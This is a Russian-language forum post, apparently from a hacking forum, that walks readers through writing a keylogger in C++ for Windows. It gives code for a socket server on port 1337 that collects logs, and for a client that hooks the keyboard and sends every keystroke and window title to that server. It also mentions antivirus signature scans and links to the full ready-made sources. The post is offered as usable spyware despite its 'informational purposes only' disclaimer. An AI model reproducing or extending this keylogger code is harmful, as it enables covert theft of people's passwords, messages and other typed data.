HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.
В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, пофиксил баги и доработал под взаимодействие с WinSocket.Материалы
- Visual Studio 2015 Community Update 4
- Visual C++ 2015
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:
Сервер
- Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
- Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Нам лишь нужно заменить некоторые значения в нем...
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи
Код:
#define DEFAULT_BUFLEN 1024 //Буффер
#define DEFAULT_PORT "1337" //Порт
Код:
do {
ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог
if (iResult > 0) //Если лог не пустой
printf("%s", recvbuf); //Выводим
closesocket(ClientSocket);//Закрываем соединение
memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
}
while (true);
Клиент
Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Чтоб прикрутить отправку нажатия на сокет я обратился к
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт
Код:
#define DEFAULT_BUFLEN 20000
#define SERVER_IP "127.0.0.1"
#define SERVER_PORT "1337"
Код:
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
char lastwindow[256];
int Save(int key_stroke);// Убрал второй аргумент
Код:
void sendData(char *ip, char * port, char*data)
Код:
char data[DEFAULT_BUFLEN];
sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);
Код:
char c[512];
sprintf(c, "%c", key_stroke);
sendData(SERVER_IP, SERVER_PORT, c);
Итог
При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).
Лог будет выглядеть так:
Ссылки
Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):
- Keylogger - Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
- Server - Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Сокет-сервер -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Сокет-клиент -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Готовые исходники проекта -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Последнее редактирование: